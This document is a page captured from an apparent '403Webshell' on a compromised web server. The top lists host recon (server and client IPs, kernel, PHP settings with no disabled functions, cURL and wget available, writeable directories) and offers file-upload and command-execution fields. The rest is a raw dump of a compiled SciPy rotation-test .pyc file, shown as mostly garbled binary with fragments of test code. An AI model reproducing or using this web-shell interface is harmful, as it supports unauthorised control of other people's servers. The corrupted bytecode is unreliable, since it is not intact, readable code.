403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.37
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/spatial/transform/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/spatial/transform/tests/__pycache__/test_rotation.cpython-311.pyc
�

d�c>�����ddlZddlZddlZddlmZmZddlmZddlm	Z	m
Z
ddlmZddl
mZddlZddlZd�Zd�Zd	�Zd
�Zd�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z d�Z!d�Z"d�Z#d�Z$d�Z%d�Z&d�Z'd�Z(d�Z)d �Z*d!�Z+d"�Z,d#�Z-d$�Z.d%�Z/d&�Z0d'�Z1d(�Z2d)�Z3d*�Z4d+�Z5d,�Z6d-�Z7d.�Z8d/�Z9d0�Z:d1�Z;d2�Z<d3�Z=d4�Z>d5�Z?d6�Z@d7�ZAd8�ZBd9�ZCd:�ZDd;�ZEd<�ZFd=�ZGd>�ZHd?�ZId@�ZJdA�ZKdB�ZLdC�ZMdD�ZNdE�ZOdF�ZPdG�ZQdH�ZRdI�ZSdJ�ZTdK�ZUdL�ZVdM�ZWdN�ZXdO�ZYdP�ZZdQ�Z[dR�Z\dS�Z]dT�Z^dU�Z_dV�Z`dW�ZadX�ZbdY�ZcdZ�Zdd[�Zed\�Zfd]�Zgd^�Zhd_�Zid`�Zjda�Zkdb�Zldc�Zmdd�Znde�Zodf�Zpdg�Zqdh�Zrdi�Zsdj�ZtdS)k�N)�assert_equal�assert_array_almost_equal)�assert_allclose)�Rotation�Slerp)�special_ortho_group)�permutationsc���tjgd�gd�g��}tj|��}|tjdgdgg��z}t	|���|��dS)N���rr)��rrr�
��np�arrayr�	from_quatr�as_quat��x�r�
expected_quats   �M/usr/lib/python3/dist-packages/scipy/spatial/transform/tests/test_rotation.py�test_generic_quat_matrixrsh��
��,�,�,�
�
�
�.�/�/�A���1���A����1�#��t��-�-�-�M��a�i�i�k�k�=�9�9�9�9�9�c��tjgd���}tj|��}|dz}t	|���|��dS�Nrrrrs   r�test_from_single_1d_quaternionrsL��
�������A���1���A���E�M��a�i�i�k�k�=�9�9�9�9�9rc��tjgd�g��}tj|��}|dz}t	|���|��dSrrrs   r�test_from_single_2d_quaternionr!sN��
��,�,�,�� � �A���1���A���E�M��a�i�i�k�k�=�9�9�9�9�9rc���tjgd�gd�gd�gd�g��}tj|��}|tjdgdgdgdgg��z}t	|���|��dS)N)rrrr
�rrrr�rrr��rrr���rrr%rrs   r�test_from_square_quat_matrixr(#s���
������
�
�����
�
�	
�	�	�A�	��1���A����1�#��t�a�S�1�#�!6�7�7�7�M��a�i�i�k�k�=�9�9�9�9�9rc��tjt��5tjtjgd�����ddd��dS#1swxYwYdS)N�r%�r��pytest�raises�
ValueErrorrrrr�rr�test_malformed_1d_from_quatr10s���	��z�	"�	"�0�0���2�8�I�I�I�.�.�/�/�/�0�0�0�0�0�0�0�0�0�0�0�0����0�0�0�0�0�0s�)A�A�Ac���tjt��5tjtjgd�gd�g����ddd��dS#1swxYwYdS)N)r%r+rr
r)r
r���r,r0rr�test_malformed_2d_from_quatr65s���	��z�	"�	"�����2�8��O�O��O�O�%���	�	�	���������������������s�-A�A�Ac���tjgd�gd�gd�g��}tjt��5tj|��ddd��dS#1swxYwYdS)Nr)rrrrr#)rrr-r.r/rr)rs r�test_zero_norms_from_quatr8=s���
���L�L��L�L��M�M��	�	�A�

��z�	"�	"�����1������������������������s�A�A� Ac��gd�}tj|�����}t|t	jd����dS)Nr$r)rr�	as_matrixrr�eye)�quat�mats  r�#test_as_matrix_single_1d_quaternionr>GsE���<�<�D�
�
�T�
"�
"�
,�
,�
.�
.�C��c�2�6�!�9�9�-�-�-�-�-rc���gd�g}tj|�����}t|jd��tjgd�gd�gd�g��}t|d|��dS)N�rrr%r%�r%rr�rr'r�r%rr�rrr%r�rrr:r�shaperrr)r<r=�expected_mats   r�#test_as_matrix_single_2d_quaternionrHNs����L�L�>�D�
�
�T�
"�
"�
,�
,�
.�
.�C����I�&�&�&��8��
�
��	�	��	�	�
���L�
�c�!�f�l�3�3�3�3�3rc��gd�gd�gd�gd�g}tj|�����}t|jd��tjgd�gd�gd�g��}t|d	|��tjgd�gd
�gd�g��}t|d|��t|d
tjd����t|dtjd����dS)Nr@�rr%rr%r$r&)r
rrrBrCrDr�rr%r�r'rrr%r+r)	rrr:rrFrrrr;)�quatsr=�	expected0�	expected1s    r� test_as_matrix_from_square_inputrPZs���L�L��L�L��L�L��M�M�	
�E��
�U�
#�
#�
-�
-�
/�
/�C����I�&�&�&����
�
��	�	��	�	�
���I�
�c�!�f�i�0�0�0����	�	��	�	��
�
�
���I�
�c�!�f�i�0�0�0��c�!�f�b�f�Q�i�i�0�0�0��c�!�f�b�f�Q�i�i�0�0�0�0�0rc���gd�gd�gd�g}tj|�����}t|jd��tjgd�gd�gd�g��}t|d|��tjgd�gd	�gd
�g��}t|d|��tjgd�gd
�gd�g��dz}t|d|��dS)Nr@rJ�r%r+rr
)rrrrBrCrDrrKrLr%)皙�����?���g������@)gffffff@r%rS)r'r+r+rr+rE)rMr=rNrO�	expected2s     r�!test_as_matrix_from_generic_inputrVvs!���L�L��L�L��L�L�
�E�
�
�U�
#�
#�
-�
-�
/�
/�C����I�&�&�&����
�
��	�	��	�	�
���I�
�c�!�f�i�0�0�0����	�	��	�	��
�
�
���I�
�c�!�f�i�0�0�0�������
�
��
�
�
����	�I�
�c�!�f�i�0�0�0�0�0rc��gd�gd�gd�g}gd�}ttj|�����|��dS)NrDrCrK���?rYrYrY)rr�from_matrixr�r=rs  r�test_from_single_2d_matrixr\�sd���I�I��I�I��I�I��C�
)�(�(�M��� ��%�%�-�-�/�/������rc� �tjgd�gd�gd�g���d��}tjgd����d��}tt	j|�����|��dS)NrDrCrKrArX�r%r
)rr�reshaperrrZrr[s  r�test_from_single_3d_matrixr`�s���
�(��	�	��	�	��	�	�
����7�9���	�
�H�1�1�1�2�2�:�:�6�B�B�M��� ��%�%�-�-�/�/������rc��tjgd���tjd��z}tjgd�gd�gd�g��}tt	j|�����|��tt	j|�d�������|�d����dS)N)r%r%r3r%�')��3~˷�g�6�iп�nz�o��?)rdrc��6�i�?)rerdg�3~˷�?rAr^)rr�sqrtrrrZrr_)rr=s  r�test_from_matrix_calculationrg�s����H�\�\�\�*�*�R�W�R�[�[�8�M�
�(�/�/�/�.�.�.�-�-�-����C�
�� ��%�%�-�-�/�/������� ����Y�!7�!7�8�8�@�@�B�B��!�!�&�)�)�+�+�+�+�+rc��tjddd���}ttj|�����|��dS)Nr�
r)�size�random_state)r�rvsrrrZr:)r=s r� test_matrix_calculation_pipelinerm�sF��
�
!�!�"�1�
=�
=�
=�C��h�2�3�7�7�A�A�C�C�S�I�I�I�I�Irc��tj�d��}|�d��}t	j|�����}tjd||�d����}tj	d��}td��D]}d|dd�||f<�
t||��dS)Nr)�drr�...ij,...jk->...ik)rr+r%r��?)r�random�RandomState�
random_samplerrZr:�einsum�	transpose�zeros�ranger)�rndr=�	ortho_mat�mult_result�eye3d�is      r�test_from_matrix_ortho_outputr~�s���
�)�
�
��
"�
"�C�

�
�
�K�
(�
(�C��$�S�)�)�3�3�5�5�I��)�0�)�%�/�/�	�:�:�<�<�K�
�H�[�!�!�E�
�1�X�X������a�a�a��A�g����k�5�1�1�1�1�1rc��gd�}tjgd���}tj|��}t	|���|��dS�NrC)g���J��?rrg�<�(�?�rrr�from_rotvecrr��rotvecr�results   r�test_from_1d_single_rotvecr��sQ��
�Y�Y�F��H�9�9�9�:�:�M�
�
!�&�
)�
)�F��f�n�n�.�.�
�>�>�>�>�>rc��gd�g}tjgd�g��}tj|��}t	|���|��dSr�r�r�s   r�test_from_2d_single_rotvecr��sV���i�i�[�F��H�:�:�:�;�<�<�M�
�
!�&�
)�
)�F��f�n�n�.�.�
�>�>�>�>�>rc��gd�gd�gd�g}tjgd�gd�gd�g��}ttj|�����|��dS)N�r%r+r+�r%r'rY�rrr)g.p�G�?�cU�(�G�?r�gQ�H��?)gNZ]�O�?gNZ]�OݿgNZ]�O�?g0�i�?r$)rrrrr�r)r�rs  r�test_from_generic_rotvecr��s����I�I��L�L��I�I��F�
�H�4�4�4�5�5�5����
���M�
�� ��(�(�0�0�2�2������rc�Z�tjdtjd��zdtjd��zdtjd��zggd�gd�g��}tj|�����}t
|dd��t
|ddd�f|dd	z��t
|d
d��t
|ddd�ftjgd�����t|d
tjgd�����dS)Ng����Mb@?rg����Mb@�)皙�����?g333333�?rSr�)rrr%rrY�r%rg@��w���?)g>�}�J�?g�.e���?g>�}�J�?r+r$)rrrfrr�rrr)r�r<s  r�test_from_rotvec_small_angler��s*��
�X�	
����
�
�	�E�B�G�A�J�J�.��r�w�q�z�z�0A�B�����	�	�
���F����'�'�/�/�1�1�D��D��J��"�"�"��D��B�Q�B��K����S��1�1�1��D��J�	�*�*�*����B�Q�B��K��H����
�
������a��"�(�<�<�<�0�0�1�1�1�1�1rc�z�dtjd��zdtjd��zdtjd��zg}tj|d���}|���}tj|��}tj|��}|���}t
||��dS)NrqrT��degrees)r�cbrtrr�r�deg2radr)�rotvec1�rot1�quat1�rotvec2�rot2�quat2s      r�test_degrees_from_rotvecr�s����R�W�Q�Z�Z���r�w�q�z�z�!1�3������3C�D�G�����6�6�6�D��L�L�N�N�E��j��!�!�G����(�(�D��L�L�N�N�E��E�5�!�!�!�!�!rc��tjtd���5tjddg��ddd��dS#1swxYwYdS)N� Expected `rot_vec` to have shape��matchr%r+�r-r.r/rr�r0rr�test_malformed_1d_from_rotvecr�s���	��z�)K�	L�	L�	L�%�%���a��V�$�$�$�%�%�%�%�%�%�%�%�%�%�%�%����%�%�%�%�%�%��A�A�Ac��tjtd���5tjgd�gd�g��ddd��dS#1swxYwYdS)Nr�r�rR�rr3r4r5r�r0rr�test_malformed_2d_from_rotvecr�s���	��z�)K�	L�	L�	L������L�L��L�L��	�	�	�����������������������A�A�Ac	�
�tjgd�gd�gd�g��}|tj�|d���dd�dfz}t	j|�����}tj�|d���}t|dd�dftj|dz����ttj	||dd�dd�f��tj
d����dS)	N�r%r+r'rY�r%r'r%ga2U0*�3?r$r%��axisrr+)rr)rr�linalg�normrr�	as_rotvecr�cos�crossrw)r<r��angles   r�test_as_generic_rotvecr� s���
�8��O�O�����L�L����D�
	�B�I�N�N�4�a�N�(�(����D��1�1�D�
�
��
%�
%�
/�
/�
1�
1�F��I�N�N�6��N�*�*�E��D����A��J���u�Q�w���0�0�0��B�H�V�T�!�!�!�R�a�R�%�[�1�1�2�8�F�3C�3C�D�D�D�D�Drc���tjgd���}tjgd���}tj|�����}t|jd��t||��dS)N�r%r+���r+�gj*0	�x�?g$�x�?g:2�(����r�rrrrr�rrFr�r<�expected_rotvec�
actual_rotvecs   r�test_as_rotvec_single_1d_inputr�/sp��
�8�M�M�M�"�"�D��h�A�A�A�B�B�O��&�t�,�,�6�6�8�8�M���$�d�+�+�+��M�?�3�3�3�3�3rc��tjgd�g��}tjgd�g��}tj|�����}t|jd��t||��dS)Nr�r�r�r�r�s   r�test_as_rotvec_single_2d_inputr�9su��
�8�]�]�]�O�$�$�D��h� B� B� B�C�D�D�O��&�t�,�,�6�6�8�8�M���$�f�-�-�-��M�?�3�3�3�3�3rc�>�gd�gd�gd�g}tj|��}|�d���}tj�|��}t
|d��t
|d|d��t
|d|d	��dS)
NrDrCrKTr�g^@rr%r+)rrZr�rr�r�r)r=�rotr�r�s    r�test_as_rotvec_degreesr�Cs����9�9�i�i�i����
+�C�
�
�s�
#�
#�C�
�]�]�4�]�
(�
(�F��I�N�N�6�"�"�E��E�5�!�!�!��F�1�I�v�a�y�)�)�)��F�1�I�v�a�y�)�)�)�)�)rc��tjgd�gd�gd�g��}ttj|�����|��ttj|d����d���|��dS)Nr��r%r'r+)ga2U0*�3�gǺ���6?ga2U0*�?Tr�)rrrrr�r�)r�s r�test_rotvec_calc_pipeliner�Ns���
�X��	�	��
�
����
���F�
�H�(��0�0�:�:�<�<�f�E�E�E��H�(���>�>�>�H�H�QU�H�V�V�X^�_�_�_�_�_rc��gd�}tjgd���}tj|��}t	|���|��dS�N)rrrq)rrr%r�rrr�from_mrprr��mrprr�s   r�test_from_1d_single_mrpr�YsN��
�+�+�C��H�\�\�\�*�*�M�
�
�s�
#�
#�F��f�n�n�.�.�
�>�>�>�>�>rc��gd�g}tjgd�g��}tj|��}t	|���|��dSr�r�r�s   r�test_from_2d_single_mrpr�`sR���;�;�-�C��H�l�l�l�^�,�,�M�
�
�s�
#�
#�F��f�n�n�.�.�
�>�>�>�>�>rc���tjgd�gd�gd�g��}tjgd�gd�gd�g��}ttj|�����|��dS)Nr�r�r�)r�rSrSg�������)g}�+;��?g}�+;��g}�+;��?gߨӉ�ؿr$)rrrrr�r)r�rs  r�test_from_generic_mrpr�gs���
�(��	�	�����	�	����C��H����:�:�:�������M��h�/��4�4�<�<�>�>�
�N�N�N�N�Nrc��tjtd���5tjddg��ddd��dS#1swxYwYdS)N�Expected `mrp` to have shaper�r%r+�r-r.r/rr�r0rr�test_malformed_1d_from_mrpr�ss���	��z�)G�	H�	H�	H�"�"���1�a�&�!�!�!�"�"�"�"�"�"�"�"�"�"�"�"����"�"�"�"�"�"r�c��tjtd���5tjgd�gd�g��ddd��dS#1swxYwYdS)Nr�r�rRr�r�r0rr�test_malformed_2d_from_mrpr�xs���	��z�)G�	H�	H�	H������L�L��L�L��	�	�	���������������������r�c�>�tjgd�gd�gd�g��}|tj�|d���dd�dfz}tjgd�gd�gd�g��}t	tj|�����|��dS)	Nr�r�r$r%r�)g��QUU�?g�vWUU�?���QUUտ)�u�F��x�?gu�F��x�r�r�)rrr�r�rrr�as_mrp)r<�expected_mrps  r�test_as_generic_mrpr��s���
�8�������������D�	�B�I�N�N�4�a�N�(�(����D��1�1�D��8�-�-�-�-�-�-��	�	����L��h�0��6�6�=�=�?�?��N�N�N�N�Nrc���tjtjtjdzdz��ddg��}t	tjdgd�d������|��dS)	Nr+r
gr�xyz)irrTr�)rr�tan�pirr�
from_eulerr�)r�s r�test_past_180_degree_rotationr��sj���8�b�f�R�U�1�W�Q�Y�/�/�/��a�8�9�9�L��h�1�%����d�S�S�S�Z�Z�\�\�^j�k�k�k�k�krc���tjgd���}tjgd���}tj|�����}t|jd��t||��dS)Nr��g����?g����?g�O��޿r��rrrrr�rrFr�r<r��
actual_mrps   r�test_as_mrp_single_1d_inputr��sp��
�8�M�M�M�"�"�D��8�A�A�A�B�B�L��#�D�)�)�0�0�2�2�J���!�4�(�(�(��J��-�-�-�-�-rc��tjgd�g��}tjgd�g��}tj|�����}t|jd��t||��dS)Nr�r�r�r�r�s   r�test_as_mrp_single_2d_inputr��su��
�8�]�]�]�O�$�$�D��8�B�B�B�C�D�D�L��#�D�)�)�0�0�2�2�J���!�6�*�*�*��J��-�-�-�-�-rc���tjgd�gd�gd�gd�g��}tjgd�gd�gd�gd�g��}ttj|�����|��dS)Nr�r�)gz�p�y��?rr)皙�����?r�r�)gK�}\UUſgK�}\UU�?r�)rrrrr�r�)r�r�s  r�test_mrp_calc_pipeliner��s������	�	��
�
�������	���J�
�8��	�	�.�.�.�������	���L�
�H�%�j�1�1�8�8�:�:�L�I�I�I�I�Irc���tjddd������}tjgd���tjd��z}t
||��dS)N�z�ZTr�r@r+)rr�rrrrfr)r<rs  r�test_from_euler_single_rotationr��s[����s�B��5�5�5�=�=�?�?�D��H�\�\�\�*�*�R�W�Q�Z�Z�7�M��D�-�(�(�(�(�(rc���tjddd������}tjddd������}t||��dS)Nr�r�Tr��Z)rr�r:r)�	extrinsic�	intrinsics  r�(test_single_intrinsic_extrinsic_rotationr��s^���#�C��T�:�:�:�D�D�F�F�I��#�C��T�:�:�:�D�D�F�F�I��I�y�)�)�)�)�)rc�V�tj�d��}|�ddd���}|dd�ddd�f}t	jd|d������}t	jd	|d������}t||��dS)
Nr�)r3r��low�highrjr'r�Tr��ZYX)rrrrs�randintrr�rr)ry�a�br�ys     r�test_from_euler_rotation_orderr�s���
�)�
�
��
"�
"�C������&��1�1�A�	�!�!�!�T�T�r�T�'�
�A���E�1�d�3�3�3�;�;�=�=�A���E�1�d�3�3�3�;�;�=�=�A��A�q�����rc��tjdddgd������}tjgd�gd�gd�g��}t||��dS)N�zxr�Tr�rB�rrr'rC)rr�r:rrr)r=rGs  r�-test_from_euler_elementary_extrinsic_rotationr�sl��
�
�d�R��H�d�
;�
;�
;�
E�
E�
G�
G�C��8��
�
��
�
��	�	����L�
�c�<�0�0�0�0�0rc	��gd�gd�gd�g}tjd|d������}t|dt	jgd�gd	�gd
�g����t|dt	jgd�gd
�gd�g����t|dt	jgd�gd�gd�g����dS)N���<�-�r
rr
�rr
r�ZXYTr�r)g#����?�пgΙ�6�d�?)g$+��H�?�+P�z��?�P�p��ƿ)gP�p��ֿ�+P�z��?gP�p���?r%)g��+a�?r��(s=��?)rrg�&(���ٿ)rrrr+)g�a�}�@�?gF�6���g�^��@�?)g0	�8��?gF�6���?g��4���?)��rYr�rr�r:rrr��anglesr=s  r�&test_from_euler_intrinsic_rotation_312r�s#�����������
�F�
�
�e�V�T�
:�
:�
:�
D�
D�
F�
F�C��c�!�f�b�h�*�*�*�*�*�*�*�*�*�0�'�'�����c�!�f�b�h�*�*�*�*�*�*�*�*�*�0�'�'�����c�!�f�b�h�*�*�*�)�)�)�*�*�*�0�'�'�����rc	��gd�gd�gd�g}tjd|d������}t|dt	jgd�gd	�gd
�g����t|dt	jgd�gd
�gd�g����t|dt	jgd�gd�gd�g����dS)Nr	r
r�ZXZTr�r)�>�d����?g� ��@�r)��l>��?�^�|�@��r)��X���?rrYr%�g�?g� �,���r�g� �,���?g�?r�r��?rYr+)rg4�&�d���'�e���?)�c�H�?��X��ӿg�'�e��ֿ)r��?rrrs  r�&test_from_euler_intrinsic_rotation_313r(�s#�����������
�F�
�
�e�V�T�
:�
:�
:�
D�
D�
F�
F�C��c�!�f�b�h�,�,�,�,�,�,�*�*�*�0�'�'�����c�!�f�b�h�+�+�+�*�*�*�'�'�'�0�'�'�����c�!�f�b�h�-�-�-�.�.�.�*�*�*�0�'�'�����rc	��gd�gd�gd�g}tjd|d������}t|dt	jgd�gd	�gd
�g����t|dt	jgd�gd	�gd
�g����t|dt	jgd�gd�gd�g����dS)Nr	r
r�zxyTr�r)�4�&�d�?gP�p���?r$)r'rg�+P�z��)r&r%r$r%)g�
�����?�\�2׳��r')r,g� �,���?rr+)rrr#)rrg�)g>�d���ۿ�� ��@�?rrrs  r�&test_from_euler_extrinsic_rotation_312r.
s#�����������
�F�
�
�e�V�T�
:�
:�
:�
D�
D�
F�
F�C��c�!�f�b�h�+�+�+�+�+�+�-�-�-�0�'�'�����c�!�f�b�h�+�+�+�+�+�+�+�+�+�0�'�'�����c�!�f�b�h�,�,�,�,�,�,�,�,�,�0�'�'�����rc	��gd�gd�gd�g}tjd|d������}t|dt	jgd�gd	�gd
�g����t|dt	jgd�gd
�gd
�g����t|dt	jgd�gd�gd�g����dS)Nr	r
r�zxzTr�r)rg�l>��r)r-rg�X���r"r%r r!r+)rg�c�H�r)r+r&r)r$r$rrrs  r�&test_from_euler_extrinsic_rotation_313r1(s#�����������
�F�
�
�e�V�T�
:�
:�
:�
D�
D�
F�
F�C��c�!�f�b�h�-�-�-�.�.�.�)�)�)�0�'�'�����c�!�f�b�h�,�,�,�+�+�+�)�)�)�0�'�'�����c�!�f�b�h�,�,�,�,�,�,�+�+�+�0�'�'�����rc��tj�d��}d}tj|df��}|�tjtj|f���|dd�df<|�tjdztjdz|f���|dd�df<|�tjtj|f���|dd�df<t
d��D]�}d�|��}t|tj
||���|����|���}t|tj
||���|������dS)	Nrrirr�r+r%r��)
rrrrs�empty�uniformr�r	�joinrrr��as_euler�upper)ry�nr�	seq_tuple�seqs     r�test_as_euler_asymmetric_axesr<CsT��
�)�
�
��
"�
"�C�
�A�
�X�q�!�f�
�
�F��;�;�B�E�6���Q�D�;�A�A�F�1�1�1�a�4�L��;�;�B�E�6�A�:�B�E�A�I�Q�D�;�I�I�F�1�1�1�a�4�L��;�;�B�E�6���Q�D�;�A�A�F�1�1�1�a�4�L�!�%�(�(�P�P�	��g�g�i� � ����� 3�C�� @� @� I� I�#� N� N�O�O�O��i�i�k�k����� 3�C�� @� @� I� I�#� N� N�O�O�O�O�
P�Prc	���tj�d��}d}tj|df��}|�tjtj|f���|dd�df<|�dtj|f���|dd�df<|�tjtj|f���|dd�df<dD]�}dD]�}||kr�	||z|z}t
|tj||���	|����|�
��}t
|tj||���	|��������dS)Nrrirr�r%r+�rrr�)rrrrsr4r5r�rrr�r7r8)ryr9r�axis1�axis2r;s      r�test_as_euler_symmetric_axesrATsy��
�)�
�
��
"�
"�C�
�A�
�X�q�!�f�
�
�F��;�;�B�E�6���Q�D�;�A�A�F�1�1�1�a�4�L��;�;�1�2�5��t�;�<�<�F�1�1�1�a�4�L��;�;�B�E�6���Q�D�;�A�A�F�1�1�1�a�4�L� �H�H��$�
	H�
	H�E���~�~���%�-�%�'�C����+�C��8�8�A�A�#�F�F�
H�
H�
H��)�)�+�+�C����+�C��8�8�A�A�#�F�F�
H�
H�
H�
H�
	H�H�Hrc��tjgd�gd�gd�gd�g��}tjtd���5td��D�]"}d�|��}tj||d	�
��}|�	��}|�
|d	�
��}tj||d	�
���	��}t||��|���}tj||d	�
��}|�	��}|�
|d	�
��}tj||d	�
���	��}t||����$	ddd��dS#1swxYwYdS)N)rr��#)rC����)rCr��)rFrD��Gimbal lockr�r�r3Tr�)
rrr-�warns�UserWarningr	r6rr�r:r7rr8)rr:r;�rotation�mat_expected�angle_estimates�
mat_estimateds       r�(test_as_euler_degenerate_asymmetric_axesrOjs����X�����
�
�����
�
�	
���F�
��k��	7�	7�	7�C�C�%�e�,�,�	C�	C�I��'�'�)�$�$�C��*�3���E�E�E�H�#�-�-�/�/�L�&�/�/��T�/�B�B�O�$�/��_�d�����)�+�+�
�
&�l�M�B�B�B��)�)�+�+�C��*�3���E�E�E�H�#�-�-�/�/�L�&�/�/��T�/�B�B�O�$�/��_�d�����)�+�+�
�
&�l�M�B�B�B�B�/	C�C�C�C�C�C�C�C�C�C�C�C�C����C�C�C�C�C�Cs�D4E>�>F�Fc��tjgd�gd�gd�gd�g��}tjtd���5dD�]#}dD�]}||kr�
||z|z}tj||d�	��}|���}|�|d�	��}tj||d�	�����}t||��|�
��}tj||d�	��}|���}|�|d�	��}tj||d�	�����}t||������%	ddd��dS#1swxYwYdS)
N)rGrr)rCr�K)rr�rC)rGiL���rFrHr�r>Tr�)rrr-rIrJrr�r:r7rr8)rr?r@r;rKrLrMrNs        r�'test_as_euler_degenerate_symmetric_axesrR�s���X��������
�
����	
���F�
��k��	7�	7�	7�G�G�$�	G�	G�E�(�
G�
G���E�>�>���e�m�e�+��#�.�s�F�D�I�I�I��'�1�1�3�3��"*�"3�"3�C��"3�"F�"F�� (� 3���$�!�!�!��i�k�k��*�,�
�F�F�F��i�i�k�k��#�.�s�F�D�I�I�I��'�1�1�3�3��"*�"3�"3�C��"3�"F�"F�� (� 3���$�!�!�!��i�k�k��*�,�
�F�F�F�F�5
G�	G�G�G�G�G�G�G�G�G�G�G�G�G����G�G�G�G�G�Gs�D(E2�2E6�9E6c���tj�d��}d}tj||���}|���}|���}|���}tjd||��}tjd||��}tj|ddf��}tjd��|dd�<t||��t||��dS)Nrri��numrkrpr)
rrrrsr�invr:rur4r;r)	ryr9�p�q�p_mat�q_mat�result1�result2r|s	         r�test_invr]�s���
�)�
�
��
"�
"�C�
�A���A�C�0�0�0�A�	�����A�
�K�K�M�M�E�
�K�K�M�M�E��i�,�e�U�;�;�G��i�,�e�U�;�;�G��H�a��A�Y���E��v�a�y�y�E�!�!�!�H��g�u�-�-�-��g�u�-�-�-�-�-rc�8�tj�d��}tj|���}|���}|���}|���}tj||��}tj||��}tjd��}t||��t||��tjd|���}|���}	|���}
|	���}tj	d|
|��}tj	d||
��}
tj
d��}tjd��|dd�<t||��t|
|��dS)Nr�rkrr%rTrprA)rrrrsrrVr:�dotr;rrur4)ryrWrXrYrZ�res1�res2r;rr�x_matrix�y_matrixr[r\r|s               r�test_inv_single_rotationre�sL��
�)�
�
��
"�
"�C���S�)�)�)�A�	�����A�
�K�K�M�M�E�
�K�K�M�M�E�
�6�%����D�
�6�%����D�
�&��)�)�C��d�C�(�(�(��d�C�(�(�(���A�C�0�0�0�A�	�����A��{�{�}�}�H��{�{�}�}�H��i�,�h��A�A�G��i�,�h��A�A�G��H�Y���E��v�a�y�y�E�!�!�!�H��g�u�-�-�-��g�u�-�-�-�-�-rc��d}ttj|�����d��ttj|��������d��dS)Nrir)rr�identity�	magnituderV)r9s r�test_identity_magnituderi�sg��
�A��H�%�a�(�(�2�2�4�4�a�8�8�8��H�%�a�(�(�,�,�.�.�8�8�:�:�A�>�>�>�>�>rc���tj�����dksJ�tj��������dksJ�dS)Nr)rrgrhrVr0rr�test_single_identity_magnituderk�s`������(�(�*�*�a�/�/�/�/�����"�"�$�$�.�.�0�0�A�5�5�5�5�5�5rc�b�d}tj|d���}|tj|��z}t|���|�����||���z}t|���tj|����dS�Nrirr_�	rrrrgrrrVrhrrw�r9rWr�s   r�test_identity_invariancerp�s���
�A�����*�*�*�A�
��"�1�%�%�
%�F��a�i�i�k�k�6�>�>�+;�+;�<�<�<�
�a�e�e�g�g�
�F��f�.�.�0�0�"�(�1�+�+�>�>�>�>�>rc�`�d}tj|d���}|tj��z}t|���|�����||���z}t|���tj|����dSrmrnros   r�test_single_identity_invariancerr�s���
�A�����*�*�*�A�
��"�$�$�
$�F��a�i�i�k�k�6�>�>�+;�+;�<�<�<�
�a�e�e�g�g�
�F��f�.�.�0�0�"�(�1�+�+�>�>�>�>�>rc��tjtjd����}|���}t|tjtjtjdg��tjtjd����}|���}t|tjtjtjdg��dS)Nr
r)rrrr;rhrr�)rr�s  r�test_magnitudert	s�����2�6�!�9�9�%�%�A�
�[�[�]�]�F��f�r�u�b�e�R�U�A�&>�?�?�?���B�F�1�I�I�:�&�&�A�
�[�[�]�]�F��f�r�u�b�e�R�U�A�&>�?�?�?�?�?rc��tjtjd����}|d���}t|tj��|d���}t|d��dS)Nr
rr)rrrr;rhrr�)rr[r\s   r�test_magnitude_single_rotationrvsh����2�6�!�9�9�%�%�A���d�n�n���G��G�R�U�#�#�#���d�n�n���G��G�Q�����rc�f�tjtjd��tjd��f��}tjdtjdzd��}|D]O}tj||z��}t|����	��dd����PdS)Nrrr+ro绽���|�=��atol)
r�concatenater;�linspacer�rr�r�meanrh)�axes�thetas�trs    r�	test_meanr�s���
�>�B�F�1�I�I�:�r�v�a�y�y�1�2�2�D�
�[��B�E�A�I�s�
+�
+�F�
�=�=��� ��T��*�*��������*�*�,�,�a�e�<�<�<�<�<�=�=rc���tjgd�gd�gd�g��}tjdtjdzd��}|D]�}t	j||dd�z��}|�ddg���}t	j||z��}|���}t||���z�	��dd�	����dS)
Nr�rCrr+ror%��weightsrxry)
rrr|r�rr�r}rrVrh)r~rr��rw�mwr�ms       r�test_weighted_meanr�$s���
�8�Y�Y�Y�	�	�	�9�9�9�5�6�6�D�
�[��B�E�A�I�s�
+�
+�F�
�C�C��
�
!�!�d�2�A�2�h�,�
/�
/��
�W�W�a��V�W�
$�
$��� ��T��*�*��
�F�F�H�H����R�V�V�X�X��0�0�2�2�A�E�B�B�B�B�B�
C�Crc��tjtd���5tjtjd����}|�tjd�����ddd��dS#1swxYwYdS)Nznon-negativer�r
r�)	r-r.r/rrrr;r}�ones�rs r�test_mean_invalid_weightsr�1s���	��z��	8�	8�	8�$�$���r�v�a�y�y�)�)��	������
�
�{��#�#�#�$�$�$�$�$�$�$�$�$�$�$�$����$�$�$�$�$�$s�AA9�9A=�A=c��tj���d���}t|t��sJ�dS)NF��return_indices)rrg�reduce�
isinstance)r�s r�test_reduction_no_indicesr�7s=��
�
�
 �
 �
'�
'�u�
'�
=�
=�F��f�h�'�'�'�'�'�'�'rc���tj���d���}t|��tksJ�t|��dksJ�|\}}}|�J�|�J�dS)NTr�r)rrgr��type�tuple�len)r��reduced�	left_best�
right_bests    r�test_reduction_none_indicesr�<sy��
�
�
 �
 �
'�
'�t�
'�
<�
<�F���<�<�5� � � � ��v�;�;�!�����%+�"�G�Y�
����������rc���tj�d��}tjd|���}tjd|���}tjd|���}|�||d���\}}}tjt
|��t
|��t
|��f��}t|��D]g\}}	t|��D]R\}
}t|��D]=\}}
tj|	|z|
z�	��d��|||
|f<�>�S�htj
tj|d	d��|jd	d
f��}tj
tj
|t
|��d
f��d	���}|t
|��z}|t
|��z}||k���sJ�||k���sJ�|||z||z}|���|z���}t#|tjt
|������dS)Nrrr_rir4Tr�rr%r'r�)rrrrsrr�rwr��	enumerate�absrr_�moveaxisrF�argmax�allrVrhr)�rng�lrrWr�r�r��scalarsr}�li�j�pj�k�rk�max_ind�left_best_check�right_best_check�
reduced_check�mags                   r�!test_reduction_scalar_calculationr�Fs?��
�)�
�
��
"�
"�C�����,�,�,�A�����-�-�-�A�����,�,�,�A�%&�X�X�a��4�X�%H�%H�"�G�Y�
��h��A����A����A���/�0�0�G��1���G�G���2��q�\�\�	G�	G�E�A�r�"�1���
G�
